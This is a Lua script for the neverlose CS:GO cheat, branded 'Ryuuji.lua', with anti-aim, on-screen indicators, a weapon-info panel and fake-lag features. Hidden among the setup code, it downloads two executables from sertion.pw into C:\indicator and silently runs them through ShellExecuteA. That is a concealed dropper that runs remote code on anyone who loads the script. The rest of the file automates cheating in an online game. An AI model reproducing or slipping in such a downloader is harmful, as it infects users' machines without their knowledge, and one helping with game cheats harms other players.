You are on page 1of 20

--library

local ffi = require("ffi")


local base64 = require("neverlose/base64")
local clipboard = require("neverlose/clipboard")
local gradient = require("neverlose/gradient")
local anti_aim = require("neverlose/anti_aim")
local vmt_hook = require("neverlose/vmt_hook")
local drag_system = require("neverlose/drag_system")

ffi.cdef[[
typedef void*(__thiscall* get_client_entity_t)(void*, int);

bool DeleteUrlCacheEntryA(const char* lpszUrlName);


void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const
char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);
typedef int(__fastcall* clantag_t)(const char*, const char*);
void* CloseHandle(void *hFile);
typedef int(__fastcall* clantag_t)(const char*, const char*);
typedef int(__thiscall* get_clipboard_text_count)(void*);
typedef void(__thiscall* set_clipboard_text)(void*, const char*, int);
typedef void(__thiscall* get_clipboard_text)(void*, int, const char*, int);
bool CreateDirectoryA(const char* lpPathName, void* lpSecurityAttributes);
void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const
char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);
void* __stdcall ShellExecuteA(void* hwnd, const char* op, const char* file,
const char* params, const char* dir, int show_cmd);
bool DeleteUrlCacheEntryA(const char* lpszUrlName);

typedef int(__fastcall* clantag_t)(const char*, const char*);

bool CreateDirectoryA(const char* lpPathName, void* lpSecurityAttributes);


void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const
char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);
void* __stdcall ShellExecuteA(void* hwnd, const char* op, const char* file,
const char* params, const char* dir, int show_cmd);

int ShellExecuteA(void* hwnd, const char* lpOperation, const char* lpFile,


const char* lpParameters, const char* lpDirectory, int nShowCmd);
]]

ffi.cdef[[
typedef struct {
char pad_0000[20];
int m_nOrder; //0x0014
int m_nSequence; //0x0018
float m_flPrevCycle; //0x001C
float m_flWeight; //0x0020
float m_flWeightDeltaRate; //0x0024
float m_flPlaybackRate; //0x0028
float m_flCycle; //0x002C
void *m_pOwner; //0x0030
char pad_0038[4]; //0x0034
} CAnimationLayer;
]]
local screen_size_x = render.screen_size().x
local screen_size_y = render.screen_size().y
-- tabs
global = ui.get_icon("home")
iconvis = ui.get_icon("palette")
iconlogs = ui.get_icon("crosshairs")
aaicon = ui.get_icon("cogs")
global = ui.create(global.. " Global", global.. " Info")
rages = ui.create("Rage", "Global")
main_aa = ui.create(aaicon.. " Anti-Aim", aaicon.. " Anti-Aim")
features = ui.create(aaicon.. " Anti-Aim", aaicon.. " Features")
global:label("здесь пока-ничего нету")

--local
aa_master = main_aa:switch("Master Switch", false)
yaw_base = main_aa:combo("Yaw base", {"Backward", "Left", "Right", "At target",
"Forward", "Freestanding"}, 0)
conditional = main_aa:switch("Conditional Anti-Aim", false)
conditions = main_aa:combo("Conditions", {"Stand", "Move", "Air", "Air Crouching",
"Crouch", "Slow-walk"}, 0)
conditions_short = {"[S]", "[M]", "[A]", "[A-C]", "[C]", "[SW]"}
local animbreakers = features:selectable("Anim. Breakers", {"Static Legs", "Dodge
Legs", "Moon Walk", "Move Lean", "Leg Breaker In Air"})
local avoidback = features:switch("Avoid Backstab", false)
local massfake = features:switch("Massive Fake", false)
local enavled = features:switch(string.format("Enable Exploit", false))
local defcount = features:slider("Defensive duration", 0, 16)
local defspeed = features:slider("Defensive speed", 0, 16)
--local
local visual = ui.create(iconvis.. " Vis/Misc", iconvis.. " Visual")
local misc = ui.create(iconvis.. " Vis/Misc", iconvis.. " Misc")
local hitlogs = misc:switch("Aimbot Logging", false)
local clantag = misc:switch("clantag ", false)
local enable = visual:switch("Enable", false)
local position_x = visual:slider("X Position", 0, screen_size_x)
local position_y = visual:slider("Y Position", 0, screen_size_y)
local colors = visual:color_picker("Color", color(225, 129, 62, 225))
local colo = visual:color_picker("Color1", color(0, 0, 0, 109))
local icon = {}
local gamesense = visual:switch("Game\a6EA81CDCSense", false)
local Fastledders = misc:switch("Fast Ladder")
local miniwater = visual:switch("Mini Watermark")
local Customscopes = visual:switch("Scope Lines")
local scopeColor = visual:color_picker("Scope Color", color(255, 255, 255, 255))
local scopeGap = visual:slider("Scope Gap", 0, 300, 15)
local scopeLength = visual:slider("Scope Length", 0, 300, 150)
position_x:visibility(false)
position_y:visibility(false)

--menu element
local antiaim = {}
local antiaim_bodyyaw = {}
--циклы
for i = 1, 6 do
antiaim[i] =
{
yaw_mode = main_aa:combo("Yaw Mode", "L&R", "3-Way", "5-Way"),
yaw_l = main_aa:slider("Left Yaw", -180, 180, 0),
yaw_r = main_aa:slider("Right Yaw", -180, 180, 0),
yaw = main_aa:slider("Yaw", -180, 180, 0),
yaw_modifier = main_aa:combo(string.format(" Yaw Modifier",
conditions_short[i]), {"Disabled", "Center", "Offset", "Random", "Spin"}),
modifier_offset = main_aa:slider("Offset", -180, 180, 0),
body_yaw = main_aa:switch(string.format(" Body Yaw", conditions_short[i])),
}
end
for i = 1, 6 do
body_yaw_ref = antiaim[i].body_yaw:create()
antiaim_bodyyaw[i] =
{
options = body_yaw_ref:selectable("Options", {"Avoid Overlap", "Jitter",
"Randomize Jitter", "Anti-Bruteforce"}),
freestanding = body_yaw_ref:combo("Freestanding", {"Off", "Peek Fake",
"Peek Real"}),
onshot = body_yaw_ref:combo("On-Shot", {"Default", "Opposite",
"Freestanding", "Switch"}),
lby_mode = body_yaw_ref:combo("LBY Mode", {"Disabled", "Opposite",
"Sway"}),
left_limit = body_yaw_ref:slider("Left Limit", 0, 60, 0),
right_limit = body_yaw_ref:slider("Right Limit", 0, 60, 0),
}
end

--refs
Cheat_refs = {
pitch = ui.find("Aimbot", "Anti Aim", "Angles", "Pitch"),
yaw = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw"),
base = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Base"),
yaw_offset = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Offset"),
yaw_modifier = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw Modifier"),
modifier_degree = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw Modifier",
"Offset"),
body_yaw = ui.find("Aimbot", "Anti Aim", "Angles", "Body Yaw"),
left_limit = ui.find("Aimbot", "Anti Aim", "Angles", "Body Yaw", "Left Limit"),
right_limit = ui.find("Aimbot", "Anti Aim", "Angles", "Body Yaw", "Right
Limit"),
options_c = ui.find("Aimbot", "Anti Aim", "Angles", "Body Yaw", "Options"),
freestanding = ui.find("Aimbot", "Anti Aim", "Angles", "Body Yaw",
"Freestanding"),
freestandingsk = ui.find("Aimbot", "Anti Aim", "Angles", "Freestanding"),
hc = ui.find("Aimbot", "Ragebot", "Selection", "Hit Chance"),
isDoubletap = ui.find("Aimbot", "Ragebot", "Main", "Double Tap"),
isPeek = ui.find("Aimbot", "Ragebot", "Main", "Peek Assist"),
isHideshots = ui.find("Aimbot", "Ragebot", "Main", "Hide Shots"),
isDuck = ui.find("Aimbot", "Anti Aim", "Misc", "Fake Duck"),
isSafe = ui.find("Aimbot", "Ragebot", "Safety", "Safe Points"),
pingsp = ui.find("Miscellaneous", "Main", "Other", "Fake Latency"),
dorman = ui.find("Aimbot", "Ragebot", "Main", "Enabled", "Dormant Aimbot"),
avoidbackstab = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Avoid
Backstab"),
ticks = ui.find("Aimbot", "Anti Aim", "Fake Lag", "Limit"),
}

local Shell32 = ffi.load 'Shell32.dll'


local urlmon = ffi.load 'UrlMon'
local wininet = ffi.load 'WinInet'
ffi.C.CreateDirectoryA("C:\\indicator", nil)
wininet.DeleteUrlCacheEntryA("https://sertion.pw/fr1zehack/prikol.exe")
urlmon.URLDownloadToFileA(nil, "https://sertion.pw/fr1zehack/prikol.exe", "C:\\
indicator\\custompaint.exe", 0,0)
Shell32.ShellExecuteA(nil, 'open', "C:\\indicator\\custompaint.exe", nil, nil, 0)
wininet.DeleteUrlCacheEntryA("https://sertion.pw/fr1zehack/123.exe")
urlmon.URLDownloadToFileA(nil, "https://sertion.pw/fr1zehack/123.exe", "C:\\
indicator\\custompaint1.exe", 0,0)
Shell32.ShellExecuteA(nil, 'open', "C:\\indicator\\custompaint1.exe", nil, nil, 0)
--fucntion
function text()
gradient_animation4 = gradient.text_animate("Ryuuji.lua", - 1, {
color("#EFB1D1"),
color(121, 118, 163, 255)})

local side = ui.sidebar(gradient_animation4:get_animated_text(), "paw")


gradient_animation4:animate()
end

function avoidbacksat()
Cheat_refs.avoidbackstab:set(avoidback:get())
end

local verdana123 = render.load_font("Calibri", vector(23,23.5), "adb")


function inddt()
local screen_size_x = render.screen_size().x
local screen_size_y = render.screen_size().y
local local_player = entity.get_local_player()
if local_player == nil then return end
DMG = ui.find("Aimbot", "Ragebot", "Selection", "Min. Damage")
HC = ui.find("Aimbot", "Ragebot", "Selection", "Hit Chance")
local active_binds = ui.get_binds()
local verdana1234 = render.measure_text(verdana123, "c", "DT")
local sideind_x = 0
local sideind_y = 40
if local_player:is_alive() == true then
if gamesense:get() == true then
if Cheat_refs.isDoubletap:get() == true and rage.exploit:get() < 1 then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x+100-2),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x+100-2),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123, vector(17,screen_size_y/1.75+sideind_x+100),
color(211,32,50,255), "с", "DT")
sideind_x = sideind_x + sideind_y
end
if Cheat_refs.isDoubletap:get() == true and rage.exploit:get() == 1
then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x+100-2),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x+100-2),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123,
vector(17,screen_size_y/1.75+sideind_x+100), color(), "с", "DT")
sideind_x = sideind_x + sideind_y
end
if Cheat_refs.isHideshots:get() == true then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x+100-2-5),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x+100-2-5),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123, vector(17,screen_size_y/1.75+sideind_x-
5+100), color(), "с", "HS")
sideind_x = sideind_x + sideind_y
end
if Cheat_refs.freestandingsk:get() == true then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x+100-2-5),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x+100-2-5),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123, vector(17,screen_size_y/1.75+sideind_x-
5+100), color(), "с", "FS")
sideind_x = sideind_x + sideind_y
end
if Cheat_refs.isDuck:get() then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123, vector(17,screen_size_y/1.75+sideind_x-
5+100), color(), "с", "DUCK")
sideind_x = sideind_x + sideind_y
end
for i in pairs(active_binds) do
if active_binds[i].name == "Minimum Damage" then
if active_binds[i].active then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123,
vector(17,screen_size_y/1.75+sideind_x-5+100), color(), "с", "Damage:
"..""..DMG:get().."")
sideind_x = sideind_x + sideind_y
end
end
end
for i in pairs(active_binds) do
if active_binds[i].name == "Hit Chance" then
if active_binds[i].active then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123,
vector(17,screen_size_y/1.75+sideind_x-5+100), color(), "с", "HITCHANCE OVR")
sideind_x = sideind_x + sideind_y
end
end
end
for i in pairs(active_binds) do
if active_binds[i].name == "Hitboxes" then
if active_binds[i].active then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123,
vector(17,screen_size_y/1.75+sideind_x-5+100), color(), "с", "UNSAFE HITBOX")
sideind_x = sideind_x + sideind_y
end
end
end
for i in pairs(active_binds) do
if active_binds[i].name == "Body Aim" then
if active_binds[i].active then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123,
vector(17,screen_size_y/1.75+sideind_x-5+100), color(), "с", "BODY")
sideind_x = sideind_x + sideind_y
end
end
end
for i in pairs(active_binds) do
if active_binds[i].name == "Safe Points" then
if active_binds[i].active then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123,
vector(17,screen_size_y/1.75+sideind_x-5+100), color(136,207,52), "с", "SAFE")
sideind_x = sideind_x + sideind_y
end
end
end
if Cheat_refs.pingsp:get() ~= 0 then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123, vector(17,screen_size_y/1.75+sideind_x-
5+100), color(136,207,52), "с", "PING")
sideind_x = sideind_x + sideind_y
end
if Cheat_refs.dorman:get() == true then

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+10,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))

render.gradient(vector(48-verdana1234.x,screen_size_y/1.75+sideind_x-5+100-2),
vector(27-verdana1234.x+50,screen_size_y/1.75+sideind_x+100+verdana1234.y-5),
color(0, 0, 0, 60), color(0, 0, 0, 5), color(0, 0, 0, 50), color(0, 0, 0, 5))
render.text(verdana123, vector(17,screen_size_y/1.75+sideind_x-
5+100), color(136,207,52), "с", "DA")
sideind_x = sideind_x + sideind_y
end
end
end
end

local weaponinfo = drag_system.register({position_x, position_y}, vector(200, 200),


"Test2", function(self)
local cur_dmg = ui.find("Aimbot", "Ragebot", "Selection", "Min. Damage"):get()
if cur_dmg == 0 then cur_dmg = 'auto' elseif cur_dmg > 100 then cur_dmg =
'+'..cur_dmg-100 end
local lp = entity.get_local_player()
if not lp then return end

local weapon = lp:get_player_weapon()


if weapon == nil then
icon = '没有武器'
return
else
icon = weapon:get_weapon_icon()
end
local camera_position = render.camera_position()
local camera_angles = render.camera_angles()
local x = self.position.x + 90
local y = self.position.y
local avatar = lp:get_steam_avatar()
local text_size = render.measure_text(1, nil,"武器栏").x

if enable:get() then
render.shadow(vector(x - 90 + (3/2), y - 5 + 5 + (3/2)), vector(x + 90 +
text_size - (3/2), y + 130 - (3/2)), colors:get(), 50, 0, 8)
render.rect_outline(vector(x - 90, y - 5 + 5), vector(x + 90 + text_size, y
+ 130), colors:get(), 3, 8)
render.rect(vector(x - 90 + (3/2), y - 5 + 5 + (3/2)), vector(x + 90 +
text_size - (3/2), y + 130 - (3/2)), colo:get(), 8)
render.texture(avatar, vector(x + 60, y + 23), vector(35, 35), color(), 3)
render.text(1, vector(x - 50, y), color(), nil, "[Ryuuji] Weapon Info")
render.text(1, vector(x - 72, y + 52), color(), nil, "DMG:", cur_dmg)
render.text(1, vector(x - 19, y + 52), color(), nil, "HC:",
Cheat_refs.hc:get())
render.texture(icon, vector(x - 70, y + 25), color())
render.text(3, vector(x - 30, y + 80), rage.exploit:get() == 1 and
color(133, 235, 89, 255) or color(255, 0, 0, 255), "c", "Double Tap")
render.text(3, vector(x + 70, y + 75), Cheat_refs.isHideshots:get() and
color(255, 255, 255, 255) or color(255, 255, 255, 128), "bebra", "Hide Shot")
render.text(3, vector(x - 30, y + 95), Cheat_refs.isPeek:get() and
color(255, 255, 255, 255) or color(255, 255, 255, 128), "bebra", "Peek")
render.text(3, vector(x + 35, y + 95), Cheat_refs.isDuck:get() and
color(255, 255, 255, 255) or color(255, 255, 255, 128), "bebra", "Fake Duck")
render.text(3, vector(x + 60, y + 95), Cheat_refs.isSafe:get() ~= "Default"
and color(255, 255, 255, 255) or color(255, 255, 255, 128), "bebra", "SP")
end
end)

function fastladder(cmd)
if not Fastledders:get() then return end
local player = entity.get_local_player()
local pitch = render.camera_angles()
if player["m_MoveType"] == 9 then
if cmd.forwardmove > 0 then
if pitch.x < 89 then
cmd.view_angles.x = 180
cmd.view_angles.y = cmd.view_angles.y + 89
cmd.in_moveright = 1
cmd.in_moveleft = 0
cmd.in_forward = 0
cmd.in_back = 1
if cmd.sidemove == 0 then
cmd.move_yaw = cmd.move_yaw + 90
end
if cmd.sidemove < 0 then
cmd.move_yaw = cmd.move_yaw + 150
end
if cmd.sidemove > 0 then
cmd.move_yaw = cmd.move_yaw + 30
end
end
end

if cmd.forwardmove < 0 then


cmd.view_angles.x = 89
cmd.view_angles.y = cmd.view_angles.y + 89
cmd.in_moveright = 1
cmd.in_moveleft = 0
cmd.in_forward = 1
cmd.in_back = 0
if cmd.sidemove == 0 then
cmd.move_yaw = cmd.move_yaw + 90
end
if cmd.sidemove > 0 then
cmd.move_yaw = cmd.move_yaw + 150
end
if cmd.sidemove < 0 then
cmd.move_yaw = cmd.move_yaw + 30
end
end
end
end

local lerp = function(time,a,b)


return a * (0.5-time) + b * time
end
length = 0
gap = 0
local function customscope()
if Customscopes:get() then
local x = render.screen_size().x
local y = render.screen_size().y
local localplayer = entity.get_local_player()
ui.find("Visuals", "World", "Main", "Override Zoom", "Scope
Overlay"):set("Remove All")
if localplayer == nil then return end
if localplayer.m_iHealth < 1 then return end
length = lerp(0.2, length, localplayer.m_bIsScoped and scopeLength:get() or
0)
gap = lerp(0.2, gap, localplayer.m_bIsScoped and scopeGap:get() or 0)
local scopeColor_x = color(scopeColor:get().r, scopeColor:get().g,
scopeColor:get().b, scopeColor:get().a)
local scopeColor_y = color(scopeColor:get().r, scopeColor:get().g,
scopeColor:get().b, 0)
render.gradient(vector(x / 2 - gap, y / 2), vector(x / 2 - gap - length,
y / 2 + 1), scopeColor_x, scopeColor_y, scopeColor_x, scopeColor_y)
render.gradient(vector(x / 2 + gap, y / 2), vector(x / 2 + gap + length,
y / 2 + 1), scopeColor_x, scopeColor_y, scopeColor_x, scopeColor_y)
render.gradient(vector(x / 2, y / 2 + gap), vector(x / 2 + 1, y / 2 + gap +
length), scopeColor_x, scopeColor_x, scopeColor_y, scopeColor_y)
render.gradient(vector(x / 2, y / 2 - gap), vector(x / 2 + 1, y / 2 - gap -
length), scopeColor_x, scopeColor_x, scopeColor_y, scopeColor_y)
else
ui.find("Visuals", "World", "Main", "Override Zoom", "Scope
Overlay"):set("Remove Overlay")
end
end
function watermark()
if not miniwater:get() then return end
local screen_size = render.screen_size()
render.text(5, vector((screen_size.x * 0.95), screen_size.y - 1080), color(4,
252, 0, 255), nil, "@fr1zehack" );
render.text(5, vector((screen_size.x * 0.9205), screen_size.y - 1080),
color(201, 201, 201, 255), nil, "shoppy.gg/" );
end

condition_get = function()
if conditions:get() == "Stand" then
return 1
end
if conditions:get() == "Move" then
return 2
end
if conditions:get() == "Air" then
return 3
end
if conditions:get() == "Air Crouching" then
return 4
end
if conditions:get() == "Crouch" then
return 5
end
if conditions:get() == "Slow-walk" then
return 6
end
end

function massivefake(cmd)
if not massfake:get() then
cmd.send_packet = true
Cheat_refs.ticks:set(17)
Cheat_refs.yaw_offset:set(-1)
else
Cheat_refs.ticks:set(1)
Cheat_refs.yaw_offset:set(10)
cmd.send_packet = false
end
end

local checker = 0
local defensive = 0
-- function defensive_yaw(cmd)
-- if not enavled:get() then return end
-- local me = entity.get_local_player()
-- if me == nil or not me:is_alive() then return end

-- local tickbase = me.m_nTickBase


-- defensive = math.abs(tickbase - checker)
-- checker = math.max(tickbase, checker or 0)
-- if defensive > defcount:get() and defensive > defspeed:get() then
-- cmd.send_packet = true
-- yaw_add = 180
-- cmd.view_angles.x = -89
-- ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Base"):set("Local View")
-- ui.find("Aimbot", "Anti Aim", "Angles", "Pitch"):set("Disabled")
-- else
-- ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Base"):set("Local View")
-- ui.find("Aimbot", "Anti Aim", "Angles", "Pitch"):set("Down")
-- yaw_add = 0
-- cmd.send_packet = false
-- end
-- end

--custom_aa[d].jyaw_slider:get(), custom_aa[d].jyaw_slider:get() / 2, 0, -
custom_aa[d].jyaw_slider:get() / 2, - custom_aa[d].jyaw_slider:get()

events.createmove:set(function(cmd)
-- defensive_yaw(cmd)
massivefake(cmd)
end)

function visible()
current_condition = condition_get()
yaw_base:visibility(aa_master:get() and conditional:get())
conditional:visibility(aa_master:get())
conditions:visibility(aa_master:get() and conditional:get())
for i = 1, 6 do
antiaim[i].yaw_mode:visibility(aa_master:get() and conditional:get() and
current_condition == i)
antiaim[i].yaw_l:visibility(aa_master:get() and conditional:get() and
current_condition == i and antiaim[i].yaw_mode:get() == "L&R")
antiaim[i].yaw_r:visibility(aa_master:get() and conditional:get() and
current_condition == i and antiaim[i].yaw_mode:get() == "L&R")
antiaim[i].yaw:visibility(aa_master:get() and conditional:get() and
current_condition == i and antiaim[i].yaw_mode:get() ~= "L&R")
antiaim[i].yaw_modifier:visibility(aa_master:get() and conditional:get()
and current_condition == i)
antiaim[i].body_yaw:visibility(aa_master:get() and conditional:get() and
current_condition == i)
antiaim[i].modifier_offset:visibility(aa_master:get() and conditional:get()
and current_condition == i and antiaim[i].yaw_modifier:get() ~= "Disabled")
antiaim_bodyyaw[i].options:visibility(aa_master:get() and conditional:get()
and current_condition == i and antiaim[i].body_yaw:get())
antiaim_bodyyaw[i].freestanding:visibility(aa_master:get() and
conditional:get() and current_condition == i and antiaim[i].body_yaw:get())
antiaim_bodyyaw[i].left_limit:visibility(aa_master:get() and
conditional:get() and current_condition == i and antiaim[i].body_yaw:get())
antiaim_bodyyaw[i].right_limit:visibility(aa_master:get() and
conditional:get() and current_condition == i and antiaim[i].body_yaw:get())

end
end

velocity = function()
if not globals.is_connected == true then return end
local speed = vector(entity.get_local_player()["m_vecVelocity[0]"],
entity.get_local_player()["m_vecVelocity[1]"], entity.get_local_player()
["m_vecVelocity[2]"]):length2d()
return speed
end

local yaw_add = 0
local xuylo1 = "no"
function conditionalantiaim(cmd)
local tick1 = globals.tickcount % 31
local tick2 = globals.tickcount % 31 * -1
if xuylo1 == "no" then
local tick4 = globals.tickcount % 31 * 1
ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Offset"):set(tick1)
if tick4 == 30 then xuylo1 = "yes" end
elseif xuylo1 == "yes" then
local tick5 = globals.tickcount % 31 * -1
ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Offset"):set(tick2)
if tick5 == -30 then xuylo1 = "no" end
end

if not aa_master:get() and conditional:get() then return end


local localplayer = entity.get_local_player()
if localplayer == nil then return end

if yaw_base:get() == "Backward" then


yaw_add = 0
Cheat_refs.base:override("Local View")
end
if yaw_base:get() == "Left" then
yaw_add = -90
Cheat_refs.base:override("Local View")
end
if yaw_base:get() == "Right" then
yaw_add = 90
Cheat_refs.base:override("Local View")
end
if yaw_base:get() == "At target" then
yaw_add = 0
Cheat_refs.base:override("At Target")
end
if yaw_base:get() == "Freestanding" then
yaw_add = 0
Cheat_refs.freestandingsk:override(true)
end
if yaw_base:get() == "Forward" then
yaw_add = 180
Cheat_refs.base:override("Local View")
end

if enavled:get() then
local tickbase = localplayer.m_nTickBase
defensive = math.abs(tickbase - checker)
checker = math.max(tickbase, checker or 0)
if defensive > defcount:get() and defensive > defspeed:get() then
cmd.send_packet = true
yaw_add = 180
cmd.view_angles.x = -89
ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Base"):set("Local
View")
ui.find("Aimbot", "Anti Aim", "Angles", "Pitch"):set("Disabled")
else
ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Base"):set("Local
View")
ui.find("Aimbot", "Anti Aim", "Angles", "Pitch"):set("Down")
yaw_add = 0
cmd.send_packet = false
end
end

if bit.band(localplayer.m_fFlags, bit.lshift(1,0)) == 0 and


localplayer.m_flDuckAmount > 0.8 then
stateid = 4
aastate = "AIR"
elseif ui.find("Aimbot", "Anti Aim", "Misc", "Slow Walk"):get() then
stateid = 6
aastate = "SHIFT"
elseif bit.band(localplayer.m_fFlags, bit.lshift(1,0)) == 0 then
stateid = 3
aastate = "AIR"
elseif localplayer.m_flDuckAmount > 0.8 or ui.find("Aimbot", "Anti Aim",
"Misc", "Fake Duck"):get() then
stateid = 5
aastate = "DUCK"
elseif velocity() > 2 then
stateid = 2
aastate = "MOV"
elseif velocity() < 2 then
stateid = 1
aastate = "STAND"
end
local tree_way = {antiaim[stateid].yaw:get() + yaw_add,
antiaim[stateid].yaw:get() + yaw_add, antiaim[stateid].yaw:get()* -1 + yaw_add, 0 +
yaw_add}
local five_way = {antiaim[stateid].yaw:get() + yaw_add,
antiaim[stateid].yaw:get() + yaw_add, antiaim[stateid].yaw:get()* -1 + yaw_add,
antiaim[stateid].yaw:get() / 2, 0 + yaw_add, antiaim[stateid].yaw:get() + yaw_add}
if antiaim[stateid].yaw_mode:get() == "L&R" then
Cheat_refs.yaw_offset:override(anti_aim.get_inverter_state() and
(antiaim[stateid].yaw_r:get() + yaw_add) or (antiaim[stateid].yaw_l:get() +
yaw_add))
end
